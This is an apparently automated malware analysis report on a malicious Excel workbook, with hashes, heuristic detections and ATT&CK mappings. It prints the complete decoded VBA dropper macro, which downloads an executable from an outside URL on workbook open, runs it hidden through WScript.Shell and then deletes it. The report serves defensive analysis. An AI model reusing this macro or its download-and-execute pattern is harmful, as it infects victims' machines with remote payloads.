Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 524ef2c95e1e8a52…

MALICIOUS

Office (OOXML)

181.0 KB Created: 2021-05-19 17:35:57 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-26
MD5: 4e7ba0a2605ea24b4bd5ae46380b509b SHA-1: db6cf6b88cc64837ee76ef3e16cc1825ba99c45d SHA-256: 524ef2c95e1e8a52eb5157b9bf357204451a97de903db5e819723428ebf97e6d
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro executes a Workbook_Open subroutine which downloads an executable file named 'Sara.exe' from the URL https://statetesting.org/webdav/12-https-banana.exe. It then saves this executable to the user's AppData directory and executes it using WScript.Shell. The downloaded executable is subsequently deleted. This behavior is indicative of a dropper malware.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set xyjXG = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            uBVQ.Write TwQCyTh.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set TwQCyTh = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        FFRUI = Environ("AppData") & "\Microsoft\Excel\"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://statetesting.org/webdav/12-https-banana.exe Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1647 bytes
SHA-256: 7d58720013fb57c6ed31c7df0006afc0fc7b6677c7e4e81595162c419fd1022d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Dim FFRUI As String
    Dim AyLbl As String
    FFRUI = Environ("AppData") & "\Microsoft\Excel\"
    VBA.ChDir FFRUI

    Dim fpmZi As String
    Dim NDzp As String
    Dim TwQCyTh As Object

    fpmZi = "https://statetesting.org/webdav/12-https-banana.exe"
    NDzp = "Sara.exe"
    Set TwQCyTh = CreateObject("Microsoft.XMLHTTP")
    TwQCyTh.Open "GET", fpmZi, False
    TwQCyTh.send

    If TwQCyTh.Status = 200 Then
        Set uBVQ = CreateObject("ADODB.Stream")
        uBVQ.Open
        uBVQ.Type = 1
        uBVQ.Write TwQCyTh.responseBody
        uBVQ.SaveToFile NDzp, 2
        uBVQ.Close
    End If

    AyLbl = FFRUI & NDzp
    Set xyjXG = CreateObject("WScript.Shell")
    xyjXG.Run (AyLbl), 0

    mYnWq
    Kill AyLbl
    End Sub
    Sub mYnWq()
    Dim when As Variant
        Debug.Print "Start " & Now
        when = Now + TimeValue("00:00:30")
        Do While when > Now
            DoEvents
        Loop
        Debug.Print "End " & Now

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: e30f68804e0bb27fac011c9b371e84aa10dc64e2a3a30564d7a00f1450e2fb12
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely